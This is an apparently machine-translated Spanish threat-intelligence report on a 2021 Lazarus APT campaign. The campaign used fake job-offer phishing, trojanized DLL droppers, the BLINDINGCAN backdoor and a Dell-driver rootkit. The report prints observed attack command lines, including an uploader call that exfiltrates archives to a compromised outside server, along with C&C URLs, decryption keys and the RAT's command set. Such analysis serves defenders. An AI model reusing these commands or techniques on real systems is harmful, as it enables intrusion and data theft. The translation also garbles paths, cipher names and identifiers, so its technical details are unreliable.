Investigadores de ESET han descubierto ataques de Lazarus contra objetivos en los Países Bajos y Bélgica que utilizan correos electrónicos de phishing vinculados a ofertas de trabajo falsas.
Los investigadores de ESET descubrieron y analizaron un conjunto de herramientas maliciosas que fueron utilizadas por el infame grupo Lazarus APT en ataques durante el otoño de 2021. La campaña comenzó con correos electrónicos de spearphishing que contenían documentos maliciosos con el tema de Amazon y estaba dirigida a un empleado de una empresa aeroespacial en los Países Bajos. , y periodista político en Bélgica. El objetivo principal de los atacantes era la exfiltración de datos. Lazarus (también conocido como HIDDEN COBRA) ha estado activo desde al menos 2009. Es responsable de incidentes de alto perfil como el Truco de Sony Pictures Entertainment y decenas de millones de dólares ciberatracos en 2016, el WannaCryptor (también conocido como WannaCry) en 2017, y una larga historia de ataques disruptivos contra Infraestructura pública y crítica de Corea del Sur desde al menos 2011.
- La campaña de Lazarus se centró en un empleado de una empresa aeroespacial en los Países Bajos y un periodista político en Bélgica.
- La herramienta más notable utilizada en esta campaña representa el primer abuso registrado de la vulnerabilidad CVE‑2021‑21551. Esta vulnerabilidad afecta a los controladores DBUtil de Dell; Dell proporcionó una actualización de seguridad en mayo de 2021.
- Esta herramienta, en combinación con la vulnerabilidad, deshabilita el monitoreo de todas las soluciones de seguridad en las máquinas comprometidas. Utiliza técnicas contra los mecanismos del kernel de Windows que nunca antes se habían observado en malware.
- Lazarus también usó en esta campaña su puerta trasera HTTP(S) con todas las funciones conocida como BLINDINGCAN.
- La complejidad del ataque indica que Lazarus está formado por un gran equipo sistemáticamente organizado y bien preparado.
A ambos objetivos se les presentaron ofertas de trabajo: el empleado en los Países Bajos recibió un archivo adjunto a través de LinkedIn Messaging y la persona en Bélgica recibió un documento por correo electrónico. Los ataques comenzaron después de que se abrieron estos documentos. Los atacantes implementaron varias herramientas maliciosas en cada sistema, incluidos droppers, cargadores, puertas traseras HTTP(S) con todas las funciones, cargadores y descargadores HTTP(S). El punto en común entre los cuentagotas es que son proyectos de código abierto troyanizados que descifran la carga útil incrustada utilizando cifrados de bloque modernos con claves largas pasadas como argumentos de línea de comando. En muchos casos, los archivos maliciosos son componentes DLL que fueron descargados por EXEs legítimos, pero desde una ubicación inusual en el sistema de archivos.
La herramienta más notable entregada por los atacantes fue un módulo de modo de usuario que obtuvo la capacidad de leer y escribir en la memoria del kernel debido a la CVE-2021-21551 vulnerabilidad en un controlador Dell legítimo. Este es el primer abuso registrado de esta vulnerabilidad en la naturaleza. Luego, los atacantes usaron su acceso de escritura a la memoria del kernel para deshabilitar siete mecanismos que ofrece el sistema operativo Windows para monitorear sus acciones, como el registro, el sistema de archivos, la creación de procesos, el seguimiento de eventos, etc., básicamente cegando las soluciones de seguridad de una manera muy genérica y robusta.
En esta publicación de blog, explicamos el contexto de la campaña y brindamos un análisis técnico detallado de todos los componentes. Esta investigación fue presentada en la edición de este año Conferencia Boletín de Virus. Debido a la originalidad, el enfoque principal de la presentación está en el componente malicioso utilizado en este ataque que utiliza la técnica Bring Your Own Vulnerable Driver (BYOVD) y aprovecha la vulnerabilidad CVE-2021-21551 mencionada anteriormente. La información detallada está disponible en el libro blanco Lazarus y BYOVD: el mal para el núcleo de Windows.
Atribuimos estos ataques a Lazarus con mucha confianza, basándonos en los módulos específicos, el certificado de firma de código y el enfoque de intrusión en común con campañas anteriores de Lazarus como Operación en (ter) ceción y Operación DreamJob. La diversidad, el número y la excentricidad en la implementación de las campañas de Lazarus definen a este grupo, así como que realiza los tres pilares de las actividades cibercriminales: ciberespionaje, cibersabotaje y búsqueda de ganancias financieras.
Acceso inicial
Los investigadores de ESET descubrieron dos nuevos ataques: uno contra el personal de un medio de comunicación en Bélgica y otro contra un empleado de una empresa aeroespacial en los Países Bajos.
En los Países Bajos, el ataque afectó a una computadora con Windows 10 conectada a la red corporativa, donde se contactó a un empleado a través de LinkedIn Messaging sobre un supuesto nuevo trabajo potencial, lo que resultó en el envío de un correo electrónico con un documento adjunto. Nos pusimos en contacto con el profesional de seguridad de la empresa afectada, quien pudo compartir el documento malicioso con nosotros. El archivo de Word Amzon_Holanda.docx enviado al destino es simplemente un documento de esquema con un logotipo de Amazon (ver Figura 1). Cuando se abre, la plantilla remota https://thetalkingcanvas[.]com/thetalking/globalcareers/us/5/careers/jobinfo.php?image=_DO.PROJ (dónde es un número de siete dígitos) se recupera. No pudimos adquirir el contenido, pero suponemos que puede haber contenido una oferta de trabajo para el programa espacial de Amazon, Proyecto Kuiper. Este es un método que Lázaro practicó en el Operación en (ter) ceción y Operación DreamJob Campañas dirigidas a las industrias aeroespacial y de defensa.
En cuestión de horas, se entregaron varias herramientas maliciosas al sistema, incluidos droppers, cargadores, puertas traseras HTTP(S) con todas las funciones, cargadores HTTP(S) y descargadores HTTP(S); consulte la sección Conjunto de herramientas.
Con respecto al ataque en Bélgica, el empleado de una empresa de periodismo (cuya dirección de correo electrónico estaba disponible públicamente en el sitio web de la empresa) fue contactado a través de un mensaje de correo electrónico con el señuelo AWS_EMEA_Legal_.docx adjunto. Como no obtuvimos el documento, solo conocemos su nombre, lo que sugiere que podría haber estado haciendo una oferta de trabajo en un puesto legal. Después de abrir el documento, el ataque se desencadenó, pero los productos de ESET lo detuvieron de inmediato, con solo un ejecutable malicioso involucrado. El aspecto interesante aquí es que, en ese momento, este binario estaba válidamente firmado con un certificado de firma de código.
Atribución
Atribuimos ambos ataques al grupo de Lazarus con un alto nivel de confianza. Esto se basa en los siguientes factores, que muestran relaciones con otras campañas de Lazarus:
- Malware (el conjunto de intrusión):
- La puerta trasera HTTPS (SHA‑1: 735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2) tiene fuertes similitudes con la puerta trasera BLINDINGCAN, reportada por CISA (EE.UU.-CERT), y atribuido a HIDDEN COBRA, que es su nombre en clave para Lazarus.
- El cargador HTTP(S) tiene fuertes similitudes con la herramienta C: Datos de programa IBM ~ DF234.TMP mencionado en el informe de HvS Consulting, Sección 2.10 Exfiltración.
- La ruta y el nombre completos del archivo, %TODOS LOS PERFILES DE USUARIOS%AdobeAdobe.tmp, es idéntico al informado por Kaspersky en febrero de 2021 en un libro blanco sobre Lazarus's Operación ThreatNeedle, que se dirige a la industria de la defensa.
- El certificado de firma de código, que se emitió a la empresa estadounidense CONSULTORIO MÉDICO “A”, PLLC y solía firmar uno de los cuentagotas, también se informó en la campaña contra los investigadores de seguridad; véase también grupo Lazarus: campaña 2 TOY GUYS, Informe de amenazas de ESET 2021 T1, Página 11.
- Se aprovechó un tipo de cifrado inusual en las herramientas de esta campaña de Lazarus: HC-128. Otros cifrados menos frecuentes utilizados por Lazarus en el pasado: una variante Spritz de RC4 en el abrevadero ataca a bancos polacos y mexicanos; más tarde, Lazarus usó un RC4 modificado en Operación en (ter) ceción; se usó un cifrado de flujo A5/1 modificado en Ataque a la cadena de suministro WIZVERA VeraPort.
- Infraestructura:
- Para el servidor C&C de primer nivel, los atacantes no usan sus propios servidores, sino que piratean los existentes. Este es un comportamiento típico, aunque de poca confianza, de Lázaro.
conjunto de herramientas
Uno de los rasgos típicos de Lazarus es su entrega de la carga útil final en forma de una secuencia de dos o tres etapas. Comienza con un cuentagotas, generalmente una aplicación de código abierto troyanizada, que descifra la carga útil incrustada con un cifrado de bloque moderno como AES-128 (que no es inusual para Lazarus, por ejemplo, Códigos de libro de operación, o un XOR ofuscado, después de analizar los argumentos de la línea de comandos en busca de una clave segura. A pesar de que la carga útil incrustada no se coloca en el sistema de archivos, sino que se carga directamente en la memoria y se ejecuta, este malware se denomina cuentagotas. El malware que no tiene un búfer cifrado, pero que carga una carga desde un sistema de archivos, lo denominamos cargador.
Los droppers pueden (Tabla 1) o no (Tabla 2) ser cargados lateralmente por un proceso legítimo (Microsoft). En el primer caso aquí, la aplicación legítima está en una ubicación inusual y el componente malicioso lleva el nombre de la DLL correspondiente que se encuentra entre las importaciones de la aplicación. Por ejemplo, la DLL maliciosa colorui.dll está cargado lateralmente por una aplicación de sistema legítima Panel de control de color (colorcpl.exe), ambos ubicados en C: Datos de programa PTC. Sin embargo, la ubicación habitual de esta aplicación legítima es %WINDOWS%Sistema32.
En todos los casos, se pasa al menos un argumento de línea de comando durante el tiempo de ejecución que sirve como un parámetro externo necesario para descifrar la carga incrustada. Se utilizan varios algoritmos de descifrado; consulte la última columna en la Tabla 1 y la Tabla 2. En varios casos, cuando se usa AES-128, también hay un parámetro interno codificado junto con el nombre del proceso principal y su nombre de DLL, todos necesarios para un descifrado exitoso.
Tabla 1. Archivos DLL maliciosos transferidos por un proceso legítimo desde una ubicación inusual
Carpeta de ubicación | Proceso padre legítimo | DLL de carga lateral maliciosa | proyecto troyano | Parámetro externo | Algoritmo de descifrado |
---|---|---|---|---|---|
C: Datos de programa PTC | colorcpl.exe | colorui.dll | libcrypto de LibreSSL 2.6.5 | BE93E050D9C0EAEB1F0E6AE13C1595B5 (Carga BLINDINGCAN) |
GRATIS |
C:WindowsVss | WFS.exe | credui.dll | GOnpp v1.2.0.0 (complemento Notepad++) | A39T8kcfkXymmAcq (Carga el cargador intermedio) |
AES-128 |
C: seguridad de Windows | WFS.exe | credui.dll | FingerText 0.56.1 (complemento Notepad++) | N/A | AES-128 |
C:ProgramDataCaphyon | wsmprovhost.exe | mi.dll | lecui 1.0.0 alfa 10 | N/A | AES-128 |
C:WindowsMicrosoft.NETFramework64v4.0.30319 | SMSvcHost.exe | cryptsp.dll | lecui 1.0.0 alfa 10 | N/A | AES-128 |
Tabla 2. Otro malware involucrado en el ataque
Carpeta de ubicación | Malware | proyecto troyano | Parámetro externo | Algoritmo de descifrado |
---|---|---|---|---|
C: caché pública | msdxm.ocx | librería 8.44 | 93E41C6E20911B9B36BC (Carga el descargador HTTP(S)) |
GRATIS |
C: Datos del programa Adobe | Adobe.tmp | SQLite 3.31.1 | S0RMM‑50QQE‑F65DN‑DCPYN‑5QEQA (Carga el actualizador HTTP(S)) |
GRATIS |
C: caché pública | msdxm.ocx | SSLSniffer | Desaparecido | HC-128 |
Después de un descifrado exitoso, se verifica que el búfer tenga el formato PE adecuado y se le pasa la ejecución. Este procedimiento se puede encontrar en la mayoría de los goteros y cargadores. El comienzo de la misma se puede ver en la Figura 2.
Puerta trasera HTTP(S): BLINDINGCAN
Identificamos una puerta trasera HTTP(S) con todas las funciones, una RAT conocida como BLINDINGCAN, utilizada en el ataque.
El cuentagotas de esta carga útil se ejecutó como %TODOS LOS PERFIL DE USUARIOS%PTCcolorui.dll; ver la Tabla 1 para más detalles. La carga útil se extrae y descifra usando un XOR simple pero con una clave larga, que es una cadena creada al concatenar el nombre del proceso principal, es el nombre de archivo propio y el parámetro de la línea de comando externa, aquí COLORCPL.EXECOLORUI.DLLBE93E050D9C0EAEB1F0E6AE13C1595B5.
La carga útil, SHA-1: 735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2, es una DLL de 64 bits con VMProtect. Se establece una conexión con una de las ubicaciones remotas. https://aquaprographix[.]com/patterns/Map/maps.php or https://turnscor[.]com/wp-includes/feedback.php. Dentro del código virtualizado pivotamos a través de los siguientes artefactos RTTI muy específicos que se encuentran en el ejecutable: .?AVCHTTP_Protocol@@, .?AVCFileRW@@. Además, existe una similitud a nivel de código, ya que los índices de los comandos comienzan con el mismo valor, 8201; ver Figura 3. Esto nos ayudó a identificar esta RATA como BLINDINGCAN (SHA-1: 5F4FBD57319BD0D2DF31131E864FDDA9590A652D), reportado por primera vez por CISA. La versión reciente de esta carga útil se observó en otra campaña con el tema de Amazon, donde BLINDINGCAN fue eliminado por un cliente Putty-0.77 troyanizado: consulte el blog de Mandiant.
Según la cantidad de códigos de comando que están disponibles para el operador, es probable que haya un controlador del lado del servidor disponible donde el operador pueda controlar y explorar los sistemas comprometidos. Las acciones realizadas dentro de este controlador probablemente dan como resultado que los ID de comando correspondientes y sus parámetros se envíen a la RAT que se ejecuta en el sistema de destino. La lista de códigos de comando se encuentra en la Tabla 3 y concuerda con el análisis realizado por JPCERT/CC, Apéndice C. No hay comprobaciones de validación de parámetros como carpetas o nombres de archivos. Eso significa que todas las comprobaciones deben implementarse en el lado del servidor, lo que sugiere que el controlador del lado del servidor es una aplicación compleja, muy probablemente con una GUI fácil de usar.
Tabla 3. Comandos de la RAT
Comando | Descripción |
---|---|
8201 | Envíe información del sistema como el nombre de la computadora, la versión de Windows y la página de códigos. |
8208 | Obtenga los atributos de todos los archivos en las carpetas RDP asignadas (tsclienteC etc.). |
8209 | Obtenga recursivamente los atributos de los archivos locales. |
8210 | Ejecute un comando en la consola, almacene el resultado en un archivo temporal y cárguelo. |
8211 | Comprima los archivos en una carpeta temporal y cárguelos. |
8212 | Descargue un archivo y actualice su información de tiempo. |
8214 | Cree un nuevo proceso en la consola y recopile la salida. |
8215 | Cree un nuevo proceso en el contexto de seguridad del usuario representado por el token especificado y recopile la salida. |
8217 | Cree recursivamente una lista de árbol de procesos. |
8224 | Terminar un proceso. |
8225 | Eliminar un archivo de forma segura. |
8226 | Habilite la E/S sin bloqueo a través del socket TCP (enchufe (AF_INET, SOCK_STREAM, IPPROTO_TCP) con el código de control FIONBIO). |
8227 | Establece el directorio actual para el proceso actual. |
8231 | Actualice la información de tiempo del archivo seleccionado. |
8241 | Envía la configuración actual al servidor C&C. |
8242 | Actualice la configuración. |
8243 | Enumere recursivamente la estructura del directorio. |
8244 | Obtenga el tipo y el espacio libre en disco de una unidad. |
8249 | Continúe con el siguiente comando. |
8256 | Solicite otro comando del servidor C&C. |
8262 | Vuelva a escribir un archivo sin cambiar su última hora de escritura. |
8264 | Copie un archivo a otro destino. |
8265 | Mover un archivo a otro destino. |
8272 | Eliminar un archivo. |
8278 | Tomar una captura de pantalla. |
cargador intermedio
Ahora describimos una cadena de tres etapas en la que, lamentablemente, solo pudimos identificar los dos primeros pasos: un cuentagotas y un cargador intermedio.
La primera etapa es un gotero ubicado en C:WindowsVsscredui.dll y se ejecutó a través de una aplicación legítima, pero vulnerable al secuestro de orden de búsqueda de DLL, con el parámetro (externo) C:WindowsVssWFS.exe A39T8kcfkXymmAcq. El programa WFS.exe es una copia de la aplicación Windows Fax and Scan, pero su ubicación estándar es %WINDOWS%Sistema32.
El cuentagotas es un troyano Complemento GOnpp para Notepad++, escrito en el lenguaje de programación Go. Después del descifrado, el cuentagotas verifica si el búfer es un ejecutable válido de 64 bits y luego, si es así, lo carga en la memoria, de modo que la segunda etapa esté lista para la ejecución.
El objetivo de esta etapa intermedia es cargar una carga útil adicional en la memoria y ejecutarla. Realiza esta tarea en dos pasos. Primero lee y descifra el archivo de configuración C:WindowsSystem32wlansvc.cpl, que no es, como podría sugerir su extensión, un ejecutable (encriptado), sino un archivo de datos que contiene fragmentos de 14944 bytes con configuración. No teníamos los datos particulares del ataque actual; sin embargo, obtuvimos dicha configuración de otro ataque de Lazarus: consulte la Figura 5. Se espera que la configuración comience con una palabra doble que represente el tamaño total del búfer restante (consulte la Línea 69 en la Figura 4 a continuación y la variable u32TamañoTotal), seguida de una serie de 14944 estructuras de un byte de longitud que contienen al menos dos valores: el nombre de la DLL de carga como marcador de posición para identificar el resto de la configuración (en el desplazamiento 168 de la línea 74 en la figura 4 y el miembro resaltado en la figura 5).
El segundo paso es la acción de leer, descifrar y cargar este archivo que representa muy probablemente la tercera y última etapa. Se espera que sea un ejecutable de 64 bits y se carga en la memoria de la misma manera que el cuentagotas de la primera etapa manejó el cargador intermedio. Al comienzo de la ejecución, se crea un mutex como una concatenación de la cadena GlobalAppCompatCacheObjectGlobalAppCompatCacheObject y la suma de comprobación CRC32 de su nombre DLL (credui.dll) representado como un entero con signo. El valor debe ser igual GlobalAppCompatCacheObject-1387282152 if wlansvc.cpl existe y -1387282152 de otra manera.
Un hecho interesante es el uso de este algoritmo de descifrado (Figura 4, Líneas 43 y 68), que no es tan frecuente en el conjunto de herramientas de Lazarus ni en el malware en general. las constantes 0xB7E15163 y 0x61C88647 (cual es -0x9E3779B9; ver Figura 6, Líneas 29 y 35) en la expansión clave sugiere que es el algoritmo RC5 o RC6. Al verificar el bucle de descifrado principal del algoritmo, se identifica que es el más complejo de los dos, RC6. Un ejemplo de una amenaza sofisticada que utiliza un cifrado poco común es BananaUsurper de Equations Group; ver El informe de Kaspersky del 2016.
Descargador HTTP(S)
También se entregó un descargador que usaba los protocolos HTTP(S) en el sistema del objetivo.
Fue instalado por un cuentagotas de primera etapa (SHA1: 001386CBBC258C3FCC64145C74212A024EAA6657), que es un troyano libpcre-8.44 biblioteca. Fue ejecutado por el comando
cmd.exe /c inicio /b rundll32.exe C:PublicCachemsdxm.ocx,sCtrl 93E41C6E20911B9B36BC
(el parámetro es una clave XOR para extraer la carga útil incrustada; consulte la Tabla 2). El cuentagotas también logra la persistencia al crear el OneNoteTray.LNK archivo ubicado en el % APPDATA% MicrosoftWindowsStart MenuProgramsStartup carpeta.
La segunda etapa es un módulo VMProtect-ed de 32 bits que realiza una solicitud de conexión HTTP a un servidor C&C almacenado en su configuración; ver Figura 7. Utiliza el mismo Agente de Usuario –Mozilla/5.0 (Windows NT 6.1; WOW64) Cromo/28.0.1500.95 Safari/537.36 – como BLINDINGCAN RAT, contiene el artefacto RTTI .?AVCHTTP_Protocolo@@ pero no .?AVCFileRW@@, y carece de funciones como tomar capturas de pantalla, archivar archivos o ejecutar un comando a través de la línea de comandos. Puede cargar un ejecutable en un bloque de memoria recién asignado y pasarle la ejecución del código.
Subidor HTTP(S)
Esta herramienta de Lazarus es responsable de la exfiltración de datos, utilizando los protocolos HTTP o HTTPS.
Se entrega en dos etapas también. El cuentagotas inicial es un troyano SQLite-3.31.1 biblioteca. Las muestras de Lazarus generalmente no contienen una ruta PDB, pero este cargador tiene una, W:DevelopToolHttpUploaderHttpPOSTPro_BINRUNDLL64sqlite3.pdb, que también sugiere su funcionalidad de inmediato: un cargador HTTP.
El cuentagotas espera varios parámetros de línea de comandos: uno de ellos es una contraseña necesaria para descifrar y cargar la carga útil incrustada; el resto de parámetros se pasan al payload. No detectamos los parámetros, pero afortunadamente se observó un uso salvaje de esta herramienta en una investigación forense realizada por Consultoría HvS:
C:ProgramDataIBM~DF234.TMP S0RMM-50QQE-F65DN-DCPYN-5QEQA https://www.gonnelli.it/uploads/catalogo/thumbs/thumb.asp C:ProgramDataIBMrestore0031.dat data03 10000 -p 192.168.1.240 8080
El primer parámetro, S0RMM-50QQE-F65DN-DCPYN-5QEQA, funcionó como una clave para la rutina de descifrado del cuentagotas (para ser más precisos, primero se realizó una ofuscación, donde el búfer encriptado fue XOR-ed con su copia desplazada por un byte; luego un descifrado XOR con la clave seguida). El resto de los parámetros se almacenan en una estructura y se pasan a la segunda etapa. Para la explicación de sus significados, véase la Tabla 4.
Tabla 4. Parámetros de la línea de comandos para el actualizador de HTTP(S)
Parámetro | Valor | Explicación |
---|---|---|
1 | S0RMM-50QQE-F65DN-DCPYN-5QEQA | Una clave de descifrado de 29 bytes. |
2 | https:// | C&C para la exfiltración de datos. |
3 | C: Datos de programa IBMrestore0031.dat | El nombre de un volumen RAR local. |
4 | data03 | El nombre del archivo en el lado del servidor. |
5 | 10,000 | El tamaño de una división RAR (máx. 200,000 kB). |
6 | N/A | Índice inicial de una división. |
7 | N/A | Índice final de una división. |
8 | -p 192.168.1.240 8080 | Un interruptor -p |
9 | Dirección IP de proxy | |
10 | Puerto proxy |
La segunda etapa es el propio cargador HTTP. El único parámetro para esta etapa es una estructura que contiene el servidor C&C para la exfiltración, el nombre de archivo de un archivo RAR local, el nombre raíz de un archivo RAR en el lado del servidor, el tamaño total de un archivo RAR dividido en kilobytes, una opción rango de índices divididos, y un opcional -p cambiar con la IP del proxy interno y un puerto; consulte la Tabla 4. Por ejemplo, si el archivo RAR se divide en 88 fragmentos, cada uno con un tamaño de 10,000 XNUMX kB, el cargador enviará estas divisiones y las almacenará en el lado del servidor con los nombres datos03.000000.avi, datos03.000001.avi, ..., datos03.000087.avi. Consulte la Figura 8, Línea 42, donde se formatean estas cadenas.
El User-Agent es el mismo que para BLINDINGCAN y el descargador HTTP(S), Mozilla / 5.0 (Windows NT 6.1; WOW64) Cromo/28.0.1500.95 Safari/537.36.
Rootkit FudModule
Identificamos una biblioteca vinculada dinámicamente con el nombre interno FudModule.dll que intenta deshabilitar varias funciones de monitoreo de Windows. Lo hace modificando las variables del kernel y eliminando las devoluciones de llamada del kernel, lo cual es posible porque el módulo adquiere la capacidad de escribir en el kernel aprovechando las técnicas BYOVD: el módulo específico CVE-2021-21551 Vulnerabilidad en el controlador de Dell dbutil_2_3.sys.
El análisis completo de este malware está disponible como documento VB2022 Lazarus y BYOVD: el mal para el núcleo de Windows.
Otro malware
Se descubrieron droppers y cargadores adicionales en los ataques, pero no obtuvimos los parámetros necesarios para descifrar las cargas útiles incrustadas o los archivos cifrados.
Lecui troyanizado
Un proyecto Lecui de Alec Musafa sirvió a los atacantes como base de código para la troyanización de dos cargadores adicionales. Por sus nombres de archivo, estaban disfrazados de bibliotecas de Microsoft mi.dll (Infraestructura de Gestión) y cryptsp.dll (API del proveedor de servicios criptográficos), respectivamente, y esto se debió a la carga lateral prevista por parte de las aplicaciones legítimas wsmprovhost.exe y SMSvcHost.exe, respectivamente; consulte la Tabla 1.
El objetivo principal de estos cargadores es leer y descifrar ejecutables ubicados en flujos de datos alternativos (ANUNCIOS) en C:ProgramDataCaphyonmi.dll:Zona.Identificador y C:Archivos de programaWindows Media PlayerSkinsDarkMode.wmz:Zone.Identifier, respectivamente. Dado que no hemos adquirido estos archivos, no se sabe qué carga útil está oculta allí; sin embargo, la única certeza es que es un ejecutable, ya que el proceso de carga sigue al descifrado (consulte la Figura 2). El uso de ADS no es nuevo, porque Ahnlab reportó un Ataque de Lázaro contra empresas de Corea del Sur en junio de 2021 que involucren tales técnicas.
FingerText troyanizado
ESET bloqueó una aplicación adicional de código abierto troyana, FingerText 0.5.61 por erinata, situado en %WINDIR%securitycredui.dll. No se conocen los parámetros correctos de la línea de comandos. Como en algunos de los casos anteriores, se requerían tres parámetros para el descifrado AES-128 de la carga útil incrustada: el nombre del proceso principal, WFS.exe; el parámetro interno, mg89h7MsC5Da4ANi; y el parámetro externo faltante.
SSLSniffer troyanizado
El ataque contra un objetivo en Bélgica se bloqueó al principio de su cadena de implementación, por lo que solo se identificó un archivo, un cuentagotas de 32 bits ubicado en C:PublicCachemsdxm.ocx. Es un componente sslSniffer del loboSSL proyecto que ha sido troyanizado. En el momento del ataque, estaba válidamente firmado con un certificado emitido a CONSULTORIO MÉDICO “A”, PLLC (consulte la Figura 8), que ya expiró.
Tiene dos exportaciones maliciosas que la DLL legítima no tiene: Establecer OfficeCertInit y Establecer certificado de oficina. Ambas exportaciones requieren exactamente dos parámetros. El propósito de la primera exportación es establecer la persistencia creando OfficeSync.LNK, situado en % APPDATA% MicrosoftWindowsStart MenuProgramsStartup, apuntando a la DLL maliciosa y ejecutando su segunda exportación a través de rundll32.exe con los parámetros pasados a sí mismo.
La segunda exportación, Establecer certificado de oficina, utiliza el primer parámetro como clave para descifrar la carga útil incrustada, pero no pudimos extraerlo porque no conocemos la clave.
El algoritmo de descifrado también es interesante ya que los atacantes usan HC-128 con la clave de 128 bits como primer parámetro y para su vector de inicialización de 128 bits, la cadena ffffffffffffffff. Las constantes que revelan el cifrado se muestran en la Figura 10.
Conclusión
En este ataque, así como en muchos otros atribuidos a Lazarus, vimos que muchas herramientas se distribuyeron incluso en un único punto final objetivo en una red de interés. Sin duda, el equipo detrás del ataque es bastante grande, organizado sistemáticamente y bien preparado. Por primera vez en la naturaleza, los atacantes pudieron aprovechar CVE-2021-21551 para desactivar el monitoreo de todas las soluciones de seguridad. No solo se hizo en el espacio del kernel, sino también de una manera robusta, utilizando una serie de elementos internos de Windows poco o sin documentar. Sin duda, esto requirió habilidades profundas de investigación, desarrollo y prueba.
Desde el punto de vista de los defensores, parece más fácil limitar las posibilidades de acceso inicial que bloquear el sólido conjunto de herramientas que se instalaría después de que determinados atacantes se afianzaran en el sistema. Como en muchos casos en el pasado, un empleado que cae presa de la tentación de los atacantes fue el punto inicial de falla aquí. En redes sensibles, las empresas deben insistir en que los empleados no persigan sus agendas personales, como la búsqueda de empleo, en dispositivos que pertenecen a la infraestructura de su empresa.
ESET Research ahora también ofrece fuentes de datos e informes de inteligencia APT privados. Para cualquier consulta sobre este servicio, visite el Inteligencia de amenazas de ESET .
IoC
Puede encontrar una lista completa de indicadores de compromiso y muestras en nuestro GitHub repositorio.
SHA-1 | Nombre del archivo | Detección | Descripción |
---|---|---|---|
296D882CB926070F6E43C99B9E1683497B6F17C4 | FudModule.dll | Win64/Rootkit.NukeSped.A | Un módulo de modo de usuario que opera con la memoria del kernel. |
001386CBBC258C3FCC64145C74212A024EAA6657 | C:PublicCachemsdxm.ocx | Win32/NukeSped.KQ | Un cuentagotas del descargador HTTP(S). |
569234EDFB631B4F99656529EC21067A4C933969 | colorui.dll | Win64/NukeSped.JK | Un gotero de BLINDINGCAN cargado lateralmente por un colorcpl.exe legítimo. |
735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2 | N/A | Win64/NukeSped.JK | Una variante de 64 bits de BLINDINGCAN RAT. |
4AA48160B0DB2F10C7920349E3DCCE01CCE23FE3 | N/A | Win32/NukeSped.KQ | Un descargador HTTP(S). |
C71C19DBB5F40DBB9A721DC05D4F9860590A5762 | Adobe.tmp | Win64/NukeSped.JD | Un cuentagotas del cargador HTTP(S). |
97DAAB7B422210AB256824D9759C0DBA319CA468 | credui.dll | Win64/NukeSped.JH | Un cuentagotas de un cargador intermedio. |
FD6D0080D27929C803A91F268B719F725396FE79 | N/A | Win64/NukeSped.LP | Un cargador HTTP(S). |
83CF7D8EF1A241001C599B9BCC8940E089B613FB | N/A | Win64/NukeSped.JH | Un cargador intermedio que carga una carga útil adicional desde el sistema de archivos. |
C948AE14761095E4D76B55D9DE86412258BE7AFD | DBUtil_2_3.sys | Win64/DBUtil.A | Un controlador vulnerable legítimo de Dell, descartado por FudModule.dll. |
085F3A694A1EECDE76A69335CD1EA7F345D61456 | cryptsp.dll | Win64/NukeSped.JF | Un cuentagotas en forma de biblioteca lecui troyanizada. |
55CAB89CB8DABCAA944D0BCA5CBBBEB86A11EA12 | mi.dll | Win64/NukeSped.JF | Un cuentagotas en forma de biblioteca lecui troyanizada. |
806668ECC4BFB271E645ACB42F22F750BFF8EE96 | credui.dll | Win64/NukeSped.JC | Un complemento FingerText troyanizado para Notepad ++. |
BD5DCB90C5B5FA7F5350EA2B9ACE56E62385CA65 | msdxm.ocx | Win32/NukeSped.KT | Una versión troyanizada de sslSniffer de LibreSSL. |
Nuestra red
IP | Provider | Visto por primera vez | Detalles |
---|---|---|---|
67.225.140[.]4 | Web líquida, LLC | 2021-10-12 | Un sitio legítimo comprometido basado en WordPress que aloja el servidor C&C https://turnscor[.]com/wp-includes/feedback.php |
50.192.28[.]29 | Comunicaciones por cable de Comcast, LLC | 2021-10-12 | Un sitio legítimo comprometido que aloja el servidor C&C https://aquaprographix[.]com/patterns/Map/maps.php |
31.11.32[.]79 | Aruba SpA | 2021-10-15 | Un sitio legítimo comprometido que aloja el servidor C&C http://www.stracarrara[.]org/images/img.asp |
Técnicas MITRE ATT & CK
Esta tabla fue construida usando Versión 11 del marco MITRE ATT & CK.
Táctica | ID | Nombre | Descripción |
---|---|---|---|
Ejecución | T1106 | API nativa | El backdoor HTTP(S) de Lazarus utiliza la API de Windows para crear nuevos procesos. |
T1059.003 | Intérprete de comandos y secuencias de comandos: Shell de comandos de Windows | El malware de puerta trasera HTTP(S) usa cmd.exe para ejecutar herramientas de línea de comandos | |
Evasión de defensa | T1140 | Desofuscar / decodificar archivos o información | Muchas de las herramientas de Lazarus se almacenan en un estado cifrado en el sistema de archivos. |
T1070.006 | Eliminación del indicador en el host: Timestomp | El backdoor HTTP(S) de Lazarus puede modificar los atributos de tiempo de archivo de un archivo seleccionado. | |
T1574.002 | Flujo de ejecución de secuestro: carga lateral de DLL | Muchos de los droppers y cargadores de Lazarus usan un programa legítimo para su carga. | |
T1014 | Rootkit | El módulo de usuario a kernel de Lazarus puede desactivar las funciones de monitoreo del sistema operativo. | |
T1027.002 | Archivos o información ofuscados: paquete de software | Lazarus usa Themida y VMProtect para ofuscar sus binarios | |
T1218.011 | Ejecución de proxy binario del sistema: Rundll32 | Lazarus usa rundll32.exe para ejecutar sus DLL maliciosos | |
Comando y control | T1071.001 | Protocolo de capa de aplicación: protocolos web | El backdoor HTTP(S) de Lazarus utiliza HTTP y HTTPS para comunicarse con sus servidores C&C. |
T1573.001 | Canal cifrado: criptografía simétrica | El backdoor HTTP(S) de Lazarus cifra el tráfico de C&C utilizando el algoritmo AES-128. | |
T1132.001 | Codificación de datos: codificación estándar | Las cargas útiles HTTP(S) de Lazarus codifican el tráfico C&C utilizando el algoritmo base64. | |
exfiltración | T1560.002 | Archivar datos recopilados: Archivar a través de la biblioteca | El cargador HTTP(S) de Lazarus puede comprimir archivos de interés y cargarlos en su C&C. |
Desarrollo de recursos | T1584.004 | Adquirir Infraestructura: Servidor | Los servidores comprometidos fueron utilizados por todas las puertas traseras, cargadores y descargadores HTTP(S) de Lazarus como C&C. |
Desarrollar capacidades | T1587.001 | Malware | Es probable que los atacantes desarrollen herramientas personalizadas del ataque. Algunos exhiben capacidades de desarrollo de kernel altamente específicas vistas anteriormente en las herramientas de Lazarus. |
Ejecución | T1204.002 | Ejecución del usuario: archivo malicioso | Se atrajo al objetivo para que abriera un documento de Word malicioso. |
Acceso inicial | T1566.003 | Phishing: Spearphishing a través del servicio | El objetivo fue contactado a través de LinkedIn Messaging. |
T1566.001 | Phishing: archivo adjunto de spearphishing | El objetivo recibió un archivo adjunto malicioso. | |
